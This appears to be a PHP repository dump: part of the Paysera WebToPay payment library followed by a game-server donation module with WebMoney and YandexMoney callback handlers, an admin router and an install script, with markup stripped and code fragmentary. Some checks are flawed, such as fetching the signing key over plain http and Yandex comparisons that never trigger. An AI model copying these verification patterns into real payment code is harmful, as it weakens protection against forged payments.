WebToPay_Sign_SignCheckerInterface $signer, WebToPay_Util $util) { $this->signer = $signer; $this->util = $util; $this->projectId = $projectId; } /** * Parses callback parameters from query parameters and checks if sign is correct. * Request has parameter "data", which is signed and holds all callback parameters * * @param array $requestData * * @return array Parsed callback parameters * * @throws WebToPayException * @throws WebToPay_Exception_Callback */ public function validateAndParseData(array $requestData) { if (!$this->signer->checkSign($requestData)) { throw new WebToPay_Exception_Callback('Invalid sign parameters, check $_GET length limit'); } if (!isset($requestData['data'])) { throw new WebToPay_Exception_Callback('"data" parameter not found'); } $data = $requestData['data']; $queryString = $this->util->decodeSafeUrlBase64($data); $request = $this->util->parseHttpQuery($queryString); if (!isset($request['projectid'])) { throw new WebToPay_Exception_Callback( 'Project ID not provided in callback', WebToPayException::E_INVALID ); } if ((string) $request['projectid'] !== (string) $this->projectId) { throw new WebToPay_Exception_Callback( sprintf('Bad projectid: %s, should be: %s', $request['projectid'], $this->projectId), WebToPayException::E_INVALID ); } if (!isset($request['type']) || !in_array($request['type'], array('micro', 'macro'))) { $micro = ( isset($request['to']) && isset($request['from']) && isset($request['sms']) ); $request['type'] = $micro ? 'micro' : 'macro'; } return $request; } /** * Checks data to have all the same parameters provided in expected array * * @param array $data * @param array $expected * * @throws WebToPayException */ public function checkExpectedFields(array $data, array $expected) { foreach ($expected as $key => $value) { $passedValue = isset($data[$key]) ? $data[$key] : null; if ($passedValue != $value) { throw new WebToPayException( sprintf('Field %s is not as expected (expected %s, got %s)', $key, $value, $passedValue) ); } } } } /** * Class to hold information about payment method */ class WebToPay_PaymentMethod { /** * Assigned key for this payment method * * @var string */ protected $key; /** * Logo url list by language. Usually logo is same for all languages, but exceptions exist * * @var array */ protected $logoList; /** * Title list by language * * @var array */ protected $titleTranslations; /** * Default language to use for titles * * @var string */ protected $defaultLanguage; /** * @var boolean */ protected $isIban; /** * @var string */ protected $baseCurrency; /** * Constructs object * * @param string $key * @param integer $minAmount * @param integer $maxAmount * @param string $currency * @param array $logoList * @param array $titleTranslations * @param string $defaultLanguage * @param bool $isIban * @param string $baseCurrency */ public function __construct( $key, $minAmount, $maxAmount, $currency, array $logoList = array(), array $titleTranslations = array(), $defaultLanguage = 'lt', $isIban = false, $baseCurrency = null ) { $this->key = $key; $this->minAmount = $minAmount; $this->maxAmount = $maxAmount; $this->currency = $currency; $this->logoList = $logoList; $this->titleTranslations = $titleTranslations; $this->defaultLanguage = $defaultLanguage; $this->isIban = $isIban; $this->baseCurrency = $baseCurrency; } /** * Sets default language for titles. * Returns itself for fluent interface * * @param string $language * * @return WebToPay_PaymentMethod */ public function setDefaultLanguage($language) { $this->defaultLanguage = $language; return $this; } /** * Gets default language for titles * * @return string */ public function getDefaultLanguage() { return $this->defaultLanguage; } /** * Get assigned payment method key * * @return string */ public function getKey() { return $this->key; } /** * Gets logo url for this payment method. Uses specified language or default one. * If logotype is not found for specified language, null is returned. * * @param string [Optional] $languageCode * * @return string|null */ public function getLogoUrl($languageCode = null) { if ($languageCode !== null && isset($this->logoList[$languageCode])) { return $this->logoList[$languageCode]; } elseif (isset($this->logoList[$this->defaultLanguage])) { return $this->logoList[$this->defaultLanguage]; } else { return null; } } /** * Gets title for this payment method. Uses specified language or default one. * * @param string [Optional] $languageCode * * @return string */ public function getTitle($languageCode = null) { if ($languageCode !== null && isset($this->titleTranslations[$languageCode])) { return $this->titleTranslations[$languageCode]; } elseif (isset($this->titleTranslations[$this->defaultLanguage])) { return $this->titleTranslations[$this->defaultLanguage]; } else { return $this->key; } } /** * Checks if this payment method can be used for specified amount. * Throws exception if currency checked is not the one, for which payment method list was downloaded. * * @param integer $amount * @param string $currency * * @return boolean * * @throws WebToPayException */ public function isAvailableForAmount($amount, $currency) { if ($this->currency !== $currency) { throw new WebToPayException( 'Currencies does not match. You have to get payment types for the currency you are checking. Given currency: ' . $currency . ', available currency: ' . $this->currency ); } return ( ($this->minAmount === null || $amount >= $this->minAmount) && ($this->maxAmount === null || $amount <= $this->maxAmount) ); } /** * Returns min amount for this payment method. If no min amount is specified, returns empty string. * * @return string */ public function getMinAmountAsString() { return $this->minAmount === null ? '' : ($this->minAmount . ' ' . $this->currency); } /** * Returns max amount for this payment method. If no max amount is specified, returns empty string. * * @return string */ public function getMaxAmountAsString() { return $this->maxAmount === null ? '' : ($this->maxAmount . ' ' . $this->currency); } /** * Set if this method returns IBAN number after payment * * @param boolean $isIban */ public function setIsIban($isIban) { $this->isIban = $isIban == 1; } /** * Get if this method returns IBAN number after payment * * @return bool */ public function isIban() { return $this->isIban; } /** * Setter of BaseCurrency * * @param string $baseCurrency */ public function setBaseCurrency($baseCurrency) { $this->baseCurrency = $baseCurrency; } /** * Getter of BaseCurrency * * @return string */ public function getBaseCurrency() { return $this->baseCurrency; } } /** * Wrapper class to group payment methods. Each country can have several payment method groups, each of them * have one or more payment methods. */ class WebToPay_PaymentMethodGroup { /** * Some unique (in the scope of country) key for this group * * @var string */ protected $groupKey; /** * Translations array for this group. Holds associative array of group title by country codes. * * @var array */ protected $translations; /** * Holds actual payment methods * * @var WebToPay_PaymentMethod[] */ protected $paymentMethods; /** * Default language for titles * * @var string */ protected $defaultLanguage; /** * Constructs object * * @param string $groupKey * @param array $translations * @param string $defaultLanguage */ public function __construct($groupKey, array $translations = array(), $defaultLanguage = 'lt') { $this->groupKey = $groupKey; $this->translations = $translations; $this->defaultLanguage = $defaultLanguage; $this->paymentMethods = array(); } /** * Sets default language for titles. * Returns itself for fluent interface * * @param string $language * * @return WebToPay_PaymentMethodGroup */ public function setDefaultLanguage($language) { $this->defaultLanguage = $language; foreach ($this->paymentMethods as $paymentMethod) { $paymentMethod->setDefaultLanguage($language); } return $this; } /** * Gets default language for titles * * @return string */ public function getDefaultLanguage() { return $this->defaultLanguage; } /** * Gets title of the group. Tries to get title in specified language. If it is not found or if language is not * specified, uses default language, given to constructor. * * @param string [Optional] $languageCode * * @return string */ public function getTitle($languageCode = null) { if ($languageCode !== null && isset($this->translations[$languageCode])) { return $this->translations[$languageCode]; } elseif (isset($this->translations[$this->defaultLanguage])) { return $this->translations[$this->defaultLanguage]; } else { return $this->groupKey; } } /** * Returns group key * * @return string */ public function getKey() { return $this->groupKey; } /** * Returns available payment methods for this group * * @return WebToPay_PaymentMethod[] */ public function getPaymentMethods() { return $this->paymentMethods; } /** * Adds new payment method for this group. * If some other payment method with specified key was registered earlier, overwrites it. * Returns given payment method * * @param WebToPay_PaymentMethod $paymentMethod * * @return WebToPay_PaymentMethod */ public function addPaymentMethod(WebToPay_PaymentMethod $paymentMethod) { return $this->paymentMethods[$paymentMethod->getKey()] = $paymentMethod; } /** * Gets payment method object with key. If no payment method with such key is found, returns null. * * @param string $key * * @return null|WebToPay_PaymentMethod */ public function getPaymentMethod($key) { return isset($this->paymentMethods[$key]) ? $this->paymentMethods[$key] : null; } /** * Returns new group instance with only those payment methods, which are available for provided amount. * * @param integer $amount * @param string $currency * * @return WebToPay_PaymentMethodGroup */ public function filterForAmount($amount, $currency) { $group = new WebToPay_PaymentMethodGroup($this->groupKey, $this->translations, $this->defaultLanguage); foreach ($this->getPaymentMethods() as $paymentMethod) { if ($paymentMethod->isAvailableForAmount($amount, $currency)) { $group->addPaymentMethod($paymentMethod); } } return $group; } /** * Returns new country instance with only those payment methods, which are returns or not iban number after payment * * @param boolean $isIban * * @return WebToPay_PaymentMethodGroup */ public function filterForIban($isIban = true) { $group = new WebToPay_PaymentMethodGroup($this->groupKey, $this->translations, $this->defaultLanguage); foreach ($this->getPaymentMethods() as $paymentMethod) { if ($paymentMethod->isIban() == $isIban) { $group->addPaymentMethod($paymentMethod); } } return $group; } /** * Returns whether this group has no payment methods * * @return boolean */ public function isEmpty() { return count($this->paymentMethods) === 0; } /** * Loads payment methods from given XML node * * @param SimpleXMLElement $groupNode */ public function fromXmlNode($groupNode) { foreach ($groupNode->payment_type as $paymentTypeNode) { $key = (string) $paymentTypeNode->attributes()->key; $titleTranslations = array(); foreach ($paymentTypeNode->title as $titleNode) { $titleTranslations[(string) $titleNode->attributes()->language] = (string) $titleNode; } $logoTranslations = array(); foreach ($paymentTypeNode->logo_url as $logoNode) { if ((string) $logoNode !== '') { $logoTranslations[(string) $logoNode->attributes()->language] = (string) $logoNode; } } $minAmount = null; $maxAmount = null; $currency = null; $isIban = false; $baseCurrency = null; if (isset($paymentTypeNode->min)) { $minAmount = (int) $paymentTypeNode->min->attributes()->amount; $currency = (string) $paymentTypeNode->min->attributes()->currency; } if (isset($paymentTypeNode->max)) { $maxAmount = (int) $paymentTypeNode->max->attributes()->amount; $currency = (string) $paymentTypeNode->max->attributes()->currency; } if (isset($paymentTypeNode->is_iban)) { $isIban = (int) $paymentTypeNode->is_iban; } if (isset($paymentTypeNode->base_currency)) { $baseCurrency = (string) $paymentTypeNode->base_currency; } $this->addPaymentMethod($this->createPaymentMethod( $key, $minAmount, $maxAmount, $currency, $logoTranslations, $titleTranslations, $isIban, $baseCurrency )); } } /** * Method to create new payment method instances. Overwrite if you have to use some other subclass. * * @param string $key * @param integer $minAmount * @param integer $maxAmount * @param string $currency * @param array $logoList * @param array $titleTranslations * @param bool $isIban * @param null $baseCurrency * * @return WebToPay_PaymentMethod */ protected function createPaymentMethod( $key, $minAmount, $maxAmount, $currency, array $logoList = array(), array $titleTranslations = array(), $isIban = false, $baseCurrency = null ) { return new WebToPay_PaymentMethod( $key, $minAmount, $maxAmount, $currency, $logoList, $titleTranslations, $this->defaultLanguage, $isIban, $baseCurrency ); } } /** * Creates objects. Also caches to avoid creating several instances of same objects */ class WebToPay_Factory { const ENV_PRODUCTION = 'production'; const ENV_SANDBOX = 'sandbox'; /** * @var array */ protected static $defaultConfiguration = array( 'routes' => array( self::ENV_PRODUCTION => array( 'publicKey' => 'http://www.paysera.com/download/public.key', 'payment' => 'https://bank.paysera.com/pay/', 'paymentMethodList' => 'https://www.paysera.com/new/api/paymentMethods/', 'smsAnswer' => 'https://bank.paysera.com/psms/respond/', ), self::ENV_SANDBOX => array( 'publicKey' => 'http://sandbox.paysera.com/download/public.key', 'payment' => 'https://sandbox.paysera.com/pay/', 'paymentMethodList' => 'https://sandbox.paysera.com/new/api/paymentMethods/', 'smsAnswer' => 'https://sandbox.paysera.com/psms/respond/', ), ) ); /** * @var string */ protected $environment; /** * @var array */ protected $configuration; /** * @var WebToPay_WebClient */ protected $webClient = null; /** * @var WebToPay_CallbackValidator */ protected $callbackValidator = null; /** * @var WebToPay_RequestBuilder */ protected $requestBuilder = null; /** * @var WebToPay_Sign_SignCheckerInterface */ protected $signer = null; /** * @var WebToPay_SmsAnswerSender */ protected $smsAnswerSender = null; /** * @var WebToPay_PaymentMethodListProvider */ protected $paymentMethodListProvider = null; /** * @var WebToPay_Util */ protected $util = null; /** * @var WebToPay_UrlBuilder */ protected $urlBuilder = null; /** * Constructs object. * Configuration keys: projectId, password * They are required only when some object being created needs them, * if they are not found at that moment - exception is thrown * * @param array $configuration */ public function __construct(array $configuration = array()) { $this->configuration = array_merge(self::$defaultConfiguration, $configuration); $this->environment = self::ENV_PRODUCTION; } /** * If passed true the factory will use sandbox when constructing URLs * * @param $enableSandbox * @return self */ public function useSandbox($enableSandbox) { if ($enableSandbox) { $this->environment = self::ENV_SANDBOX; } else { $this->environment = self::ENV_PRODUCTION; } return $this; } /** * Creates or gets callback validator instance * * @return WebToPay_CallbackValidator * * @throws WebToPay_Exception_Configuration */ public function getCallbackValidator() { if ($this->callbackValidator === null) { if (!isset($this->configuration['projectId'])) { throw new WebToPay_Exception_Configuration('You have to provide project ID'); } $this->callbackValidator = new WebToPay_CallbackValidator( $this->configuration['projectId'], $this->getSigner(), $this->getUtil() ); } return $this->callbackValidator; } /** * Creates or gets request builder instance * * @throws WebToPay_Exception_Configuration * * @return WebToPay_RequestBuilder */ public function getRequestBuilder() { if ($this->requestBuilder === null) { if (!isset($this->configuration['password'])) { throw new WebToPay_Exception_Configuration('You have to provide project password to sign request'); } if (!isset($this->configuration['projectId'])) { throw new WebToPay_Exception_Configuration('You have to provide project ID'); } $this->requestBuilder = new WebToPay_RequestBuilder( $this->configuration['projectId'], $this->configuration['password'], $this->getUtil(), $this->getUrlBuilder() ); } return $this->requestBuilder; } /** * @return WebToPay_UrlBuilder */ public function getUrlBuilder() { if ($this->urlBuilder === null) { $this->urlBuilder = new WebToPay_UrlBuilder( $this->configuration, $this->environment ); } return $this->urlBuilder; } /** * Creates or gets SMS answer sender instance * * @throws WebToPay_Exception_Configuration * * @return WebToPay_SmsAnswerSender */ public function getSmsAnswerSender() { if ($this->smsAnswerSender === null) { if (!isset($this->configuration['password'])) { throw new WebToPay_Exception_Configuration('You have to provide project password'); } $this->smsAnswerSender = new WebToPay_SmsAnswerSender( $this->configuration['password'], $this->getWebClient(), $this->getUrlBuilder() ); } return $this->smsAnswerSender; } /** * Creates or gets payment list provider instance * * @throws WebToPay_Exception_Configuration * * @return WebToPay_PaymentMethodListProvider */ public function getPaymentMethodListProvider() { if ($this->paymentMethodListProvider === null) { if (!isset($this->configuration['projectId'])) { throw new WebToPay_Exception_Configuration('You have to provide project ID'); } $this->paymentMethodListProvider = new WebToPay_PaymentMethodListProvider( $this->configuration['projectId'], $this->getWebClient(), $this->getUrlBuilder() ); } return $this->paymentMethodListProvider; } /** * Creates or gets signer instance. Chooses SS2 signer if openssl functions are available, SS1 in other case * * @throws WebToPay_Exception_Configuration * * @return WebToPay_Sign_SignCheckerInterface * * @throws WebToPayException */ protected function getSigner() { if ($this->signer === null) { if (function_exists('openssl_pkey_get_public')) { $webClient = $this->getWebClient(); $publicKey = $webClient->get($this->getUrlBuilder()->buildForPublicKey()); if (!$publicKey) { throw new WebToPayException('Cannot download public key from WebToPay website'); } $this->signer = new WebToPay_Sign_SS2SignChecker($publicKey, $this->getUtil()); } else { if (!isset($this->configuration['password'])) { throw new WebToPay_Exception_Configuration( 'You have to provide project password if OpenSSL is unavailable' ); } $this->signer = new WebToPay_Sign_SS1SignChecker($this->configuration['password']); } } return $this->signer; } /** * Creates or gets web client instance * * @throws WebToPay_Exception_Configuration * * @return WebToPay_WebClient */ protected function getWebClient() { if ($this->webClient === null) { $this->webClient = new WebToPay_WebClient(); } return $this->webClient; } /** * Creates or gets util instance * * @throws WebToPay_Exception_Configuration * * @return WebToPay_Util */ protected function getUtil() { if ($this->util === null) { $this->util = new WebToPay_Util(); } return $this->util; } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Webmoney.php ================================================ Decoder($post['lk_sign']); $this->decod = explode(',', $us); $BChekGateway = $this->BChekGateway('WebMoney'); if(empty($BChekGateway))exit; if ($post['LMI_PREREQUEST'] == 1){ if ($post['LMI_PAYEE_PURSE'] == trim($this->kassa[0]['shop_id'])) echo 'YES'; } } public function WBCheckSignature($post){ $key = $post['LMI_PAYEE_PURSE'].$post['LMI_PAYMENT_AMOUNT'].$post['LMI_PAYMENT_NO'].$post['LMI_MODE'].$post['LMI_SYS_INVS_NO'].$post['LMI_SYS_TRANS_NO'].$post['LMI_SYS_TRANS_DATE'].trim($this->kassa[0]['secret_key_2']).$post['LMI_PAYER_PURSE'].$post['LMI_PAYER_WM']; if (strtoupper(hash('sha256', $key)) != $post['LMI_HASH']) { $this->LkAddLog('_NOTSIGN', ['gateway'=>'WebMoney']); die('Invalid digital signature.'); } } public function WBProcessPay($post){ $BCheckPay = $this->BCheckPay('WebMoney'); if(empty($BCheckPay))exit; if($this->decod[2] != $post['LMI_PAYMENT_AMOUNT']) { $this->LkAddLog('_NoValidSumm', ['gateway'=>'WebMoney','amount' => $this->decod[2].'/'.$post['LMI_PAYMENT_AMOUNT']]); die("Amount does't match"); } $this->BCheckPlayer(); $this->BCheckPromo('WebMoney'); $this->BUpdateBalancePlayer($this->decod[3],$post['LMI_PAYMENT_AMOUNT']); $this->BUpdatePay(); $this->BNotificationDiscord('WebMoney'); $this->LkAddLog('_NewDonat', ['gateway'=>'WebMoney','order'=>$this->decod[1], 'course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'), 'amount' => $this->decod[2], 'steam'=>$this->decod[3]]); $admins = $this->db->queryAll( 'Core', 0, 0, "SELECT * FROM lvl_web_admins WHERE flags = 'z' "); foreach( $admins as $key ){ $this->Notifications->SendNotification( con_steam64to32($key['steamid']), '_GetDonat', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['AMOUNT'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } $this->Notifications->SendNotification( $this->decod[3], '_YouPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['LMI_PAYMENT_AMOUNT'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); die('YES'); } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Yandexmoney.php ================================================ Decoder($post['label']); $this->decod = explode(',', $us); $BChekGateway = $this->BChekGateway('YandexMoney'); if(empty($BChekGateway)) die('Gatewqy YandexMoney not Exist.'); $hash = sha1($post['notification_type'].'&'.$post['operation_id'].'&'.$post['amount'].'&'.$post['currency'].'&'.$post['datetime'].'&'.$post['sender'].'&'.$post['codepro'].'&'.trim($this->kassa[0]['secret_key_2']).'&'.$post['label']); if($post['sha1_hash'] != $hash or $post['codepro'] === true or $post['unaccepted'] === true ) { $this->LkAddLog('_NOTSIGN', ['gateway'=>'YandexMoney']); die('Invalid digital signature.'); } } public function YMProcessPay($post){ $BCheckPay = $this->BCheckPay('YandexMoney'); if(empty($BCheckPay))die('Pay not found'); if($this->decod[2] != $post['withdraw_amount']){ $this->LkAddLog('_NoValidSumm', ['gateway'=>'YandexMoney','amount' => $this->decod[2].'/'.$post['withdraw_amount']]); die("Amount does't match"); } $this->BCheckPlayer(); $this->BCheckPromo('YandexMoney'); $this->BUpdateBalancePlayer($this->decod[3],$post['withdraw_amount']); $this->BUpdatePay(); $this->BNotificationDiscord('YandexMoney'); $this->LkAddLog('_NewDonat', ['gateway'=>'YandexMoney','order'=>$this->decod[1], 'course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'), 'amount' => $this->decod[2], 'steam'=>$this->decod[3]]); $admins = $this->db->queryAll( 'Core', 0, 0, "SELECT * FROM lvl_web_admins WHERE flags = 'z' "); foreach( $admins as $key ){ $this->Notifications->SendNotification( con_steam64to32($key['steamid']), '_GetDonat', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['AMOUNT'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } $this->Notifications->SendNotification( $this->decod[3], '_YouPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['withdraw_amount'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); die('YES'); } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/forward/data.php ================================================ arr_general['site']); exit; } $LK = new Lk_module( $Translate, $Notifications, $General, $Modules, $Db); if(isset($_POST['steam'])) { $LK->LkOnPayment($_POST); exit; } else if(!empty($_POST['promocode']) && !empty($_POST['amount']) && !empty($_POST['steamid'])) { $LK->LkCalculatePromo($_POST['promocode'], $_POST['steamid'], $_POST['amount']);exit; } else if(isset($_POST['steamidload'])) { $LK->LkLoadPlayerProfile($_POST['steamidload']); exit; } if(isset( $_SESSION['user_admin'] ) && isset($_GET['section'])) { switch ($_GET['section']) { case 'users': if(isset($_POST['user'])) { $LK->LkUpdateBalance($_POST);exit; } else if(isset($_POST['users_clean'])) { $LK->LkDelUsers();exit; } else if(isset($_POST['search_users'])) { $LK->SearchUser($_POST['search_users']); } define('PLAYERS_ON_PAGE', '10'); $page_num = get_section( 'num', '1' ); $page_max = $LK->UsersPageMax(PLAYERS_ON_PAGE); $page_num_min = ($page_num - 1) * PLAYERS_ON_PAGE; $playersAll = $LK->LkGetAllPlayers($page_num_min, PLAYERS_ON_PAGE); break; case 'gateways': if(!empty($_POST['gateway'])) { $LK->LkAddGateway($_POST); exit; } else if(isset($_POST['gateway_edit'])) { $LK->LkEditGateway($_POST); exit; } else if(isset($_POST['chart'])) { $LK->LkChart(); exit; } else if(isset($_POST['gateway_delete'])) { $LK->LkDeleteGateway($_POST); exit; } else if(isset($_POST['webhoock_url'])) { $LK->LkAddDiscord($_POST); exit; } break; case 'promocodes': if(isset($_POST['addpromo'])) { $LK->LkAddPromocode($_POST); exit; } else if(isset($_POST['editid'])) { $LK->LkEditPromocode($_POST); exit; } else if(isset($_POST['promocode_delete'])) { $LK->LkDeletePromocode($_POST); exit; } break; case 'logs': if(isset($_POST['clean_logs'])) { $LK->LkCleanLogs();exit; } else if(isset($_POST['log_delete'])) { $LK->LkLogdelete($_POST['log_delete']);exit; } else if(isset($_POST['log_download'])) { $LK->LkDownloadLog($_POST['log_download']); } break; case 'search': if(isset($_POST['search_users'])) { $LK->SearchUser($_POST['search_users']); } else if(isset($_POST['user'])) { $LK->LkUpdateBalance($_POST);exit; } break; } } if(!empty($_GET['gateway'])){ require MODULES.'module_page_lk_impulse/includes/result.php'; exit; } if(empty($Db->db_data['lk'])) { require MODULES.'module_page_lk_impulse/includes/install.php'; exit; } //Проверка в базе данных наличие таблиц. if(isset($Db->db_data['lk'])){ if($Db->db_data['lk'][0]['mod'] == 1) $tableLk = 'lk'; else if($Db->db_data['lk'][0]['mod'] == 2) $tableLk = 'lk_system'; $checkTable = array( $tableLk, 'lk_discord', 'lk_logs', 'lk_pays', 'lk_pay_service', 'lk_promocodes', ); foreach ($checkTable as $key) { if(!$Db->mysql_table_search('lk', $Db->db_data['lk'][0]['USER_ID'], $Db->db_data['lk'][0]['DB_num'], $key)) { require MODULES.'module_page_lk_impulse/includes/install.php'; exit; } } } $LK->LkBalancePlayer(); // Задаём заголовок страницы. $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Translate->translate('module_page_lk_impulse','_LK')); // Задаём описание страницы. $Modules->set_page_description( $General->arr_general['short_name'] . ' :: ' . $Translate->translate('module_page_lk_impulse','_LK') . ' :: ' . $Translate->translate('module_page_lk_impulse','_DescPageLK')); ================================================ FILE: app/modules/disabled/module_page_lk_impulse/forward/interface.php ================================================ arr_general['site']); exit;} $Gateways = $LK->LkGetGatewaysOn(); if(isset( $_SESSION['user_admin'] )):?>
    translate('module_page_lk_impulse','_LK')?>
    1 || $Gateways[0]['id'] == 5):?>
    translate('module_page_lk_impulse','_ChangeGateway')?>
    STEAM ID:
    translate('module_page_lk_impulse','_ToUpAmount')?>
    translate('module_page_lk_impulse','_Promo')?>

    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/gateways.php ================================================ arr_general['site']); exit; } $GatewaysArrayList = [ 'freekassa' =>'FreeKassa MULTI', 'webmoney' =>'WebMoney MULTI', 'qiwi' =>'Qiwi P2P RUS', 'unitpay' =>'UnitPay', 'interkassa' =>'Interkassa MULTI', 'robokassa' =>'Robokassa MULTI', 'yandexmoney' =>'Yandex Money', 'paypal' =>'PayPal MULTI', //'g2apay' =>'G2APay MULTI', //'paysera' =>'Paysera', //'paysafecard' =>'PAYSAFECard', //'payssion' =>'Payssion MULTI' ];?>
    translate('module_page_lk_impulse','_SettingsGateways')?>
    translate('module_page_lk_impulse', '_BalanceAllTime') ?>: translate('module_page_lk_impulse','_AmountCourse').$LK->LkAllDonats()?>
      LkGetAllGateways() as $key): $GatewaysExist[mb_strtolower($key['name_kassa'])]=1;?>
    1. translate('module_page_lk_impulse','_AmountCourse').$LK->LkAllDonatsToPayGateway(mb_strtolower($key['name_kassa']));?>
    translate('module_page_lk_impulse','_Options')?>
    translate('module_page_lk_impulse','_DiscordMessage')?>
    Webhook URL:
    LkDiscordData()['auth'] && print 'checked';?>>
    LkGetGateway($_GET['geteway_edit']);?>
    translate('module_page_lk_impulse','_SetGateways')?> -
    translate('module_page_lk_impulse','_Purse')?>
    translate('module_page_lk_impulse','_SecretKey')?>:
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=webmoney
    >
    translate('module_page_lk_impulse','_Purse')?>
    translate('module_page_lk_impulse','_Password')?>
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=yandexmoney
    >
    translate('module_page_lk_impulse','_PublicKey')?>:
    translate('module_page_lk_impulse','_SecretKey')?>:
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=qiwi
    >
    translate('module_page_lk_impulse','_PublicKey')?>:
    translate('module_page_lk_impulse','_SecretKey')?>:
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=unitpay
    >
    translate('module_page_lk_impulse','_BusinessAccount')?>:
    translate('module_page_lk_impulse','_ISOCourse')?> (ISO 4217)
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=paypal
    >
    translate('module_page_lk_impulse','_Indetificator')?>
    translate('module_page_lk_impulse','_SecretKey')?>:
    translate('module_page_lk_impulse','_ISOCourse')?> (ISO 4217)
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=interkassa
    >
    translate('module_page_lk_impulse','_Indetificator')?>
    translate('module_page_lk_impulse','_Password')?> #1
    translate('module_page_lk_impulse','_Password')?> #2
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway =robokassa
    >
    translate('module_page_lk_impulse','_Indetificator')?>
    translate('module_page_lk_impulse','_Password')?> #1
    translate('module_page_lk_impulse','_Password')?> #2
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=freekassa
    >
    translate('module_page_lk_impulse','_AddGateways')?> -
    translate('module_page_lk_impulse','_Purse')?>
    translate('module_page_lk_impulse','_SecretKey')?>:
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=webmoney
    translate('module_page_lk_impulse','_Purse')?>
    translate('module_page_lk_impulse','_Password')?>
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=yandexmoney
    translate('module_page_lk_impulse','_PublicKey')?>:
    translate('module_page_lk_impulse','_SecretKey')?>:
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=qiwi
    translate('module_page_lk_impulse','_Indetificator')?>
    translate('module_page_lk_impulse','_SecretKey')?>:
    translate('module_page_lk_impulse','_ISOCourse')?> (ISO 4217)
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=interkassa
    translate('module_page_lk_impulse','_Indetificator')?>
    translate('module_page_lk_impulse','_Password')?> #1
    translate('module_page_lk_impulse','_Password')?> #2
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=robokassa
    translate('module_page_lk_impulse','_Indetificator')?>
    translate('module_page_lk_impulse','_Password')?> #1
    translate('module_page_lk_impulse','_Password')?> #2
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=freekassa
    translate('module_page_lk_impulse','_PublicKey')?>
    translate('module_page_lk_impulse','_SecretKey')?>
    translate('module_page_lk_impulse','_ResultUrl')?>
    https().get_url(2)?>?gateway=unitpay
    translate('module_page_lk_impulse','_BusinessAccount')?>
    translate('module_page_lk_impulse','_ISOCourse')?> (ISO 4217)
    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/install.php ================================================ arr_general['site'] ); exit; } // задаём основную кодировку страницы. header('Content-Type: text/html; charset=utf-8'); // Отключаем показ ошибок. error_reporting(E_ALL); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); //Проверка в базе данных наличие таблиц. if(isset($Db->db_data['lk'])){ if($Db->db_data['lk'][0]['mod'] == 1) $tableLk = 'lk'; else if($Db->db_data['lk'][0]['mod'] == 2) $tableLk = 'lk_system'; $checkTable = array( $tableLk, 'lk_discord', 'lk_logs', 'lk_pays', 'lk_pay_service', 'lk_promocodes', ); foreach ($checkTable as $key) { if(!$Db->mysql_table_search('lk', $Db->db_data['lk'][0]['USER_ID'], $Db->db_data['lk'][0]['DB_num'], $key)){ $table[$key] = 1; } } } // Проверка соединения с базой данных. if(isset($_POST['db_check'])) { $con = mysqli_connect($_POST['host'], $_POST['user'], $_POST['pass'], $_POST['db_1']); if ( $con ) { $db_check = 2; } else { $db_check = 1; } mysqli_close($con); } // Сохранение настроек базы данных if( isset( $_POST['save_db'] ) ) { $Db->change_db( "lk", $_POST['host'], $_POST['user'], $_POST['pass'], $_POST['db_1'], $_POST['table'], 0, ['mod' => $_POST['lk_mod']] ); header("Refresh:2"); } // Установка таблиц в базу данных if( isset( $_POST['table_install'] ) ) { if($Db->db_data['lk'][0]['mod'] == 1) $tableLkCreate = "CREATE TABLE IF NOT EXISTS `lk` ( `auth` VARCHAR(64) NOT NULL , `name` VARCHAR(64) NOT NULL , `cash` FLOAT NOT NULL , `all_cash` FLOAT NOT NULL ) ENGINE = InnoDB CHARSET=utf8 COLLATE utf8_general_ci;"; else if($Db->db_data['lk'][0]['mod'] == 2) $tableLkCreate = "CREATE TABLE IF NOT EXISTS `lk_system` ( `auth` VARCHAR(64) NOT NULL , `name` VARCHAR(64) NOT NULL , `money` FLOAT NOT NULL , `all_money` FLOAT NOT NULL ) ENGINE = InnoDB CHARSET=utf8 COLLATE utf8_general_ci;"; $sql = array( $tableLkCreate, "CREATE TABLE IF NOT EXISTS `lk_discord` (`url` TEXT NOT NULL , `auth` INT NOT NULL DEFAULT '0' ) ENGINE = InnoDB CHARSET=utf8 COLLATE utf8_general_ci;", 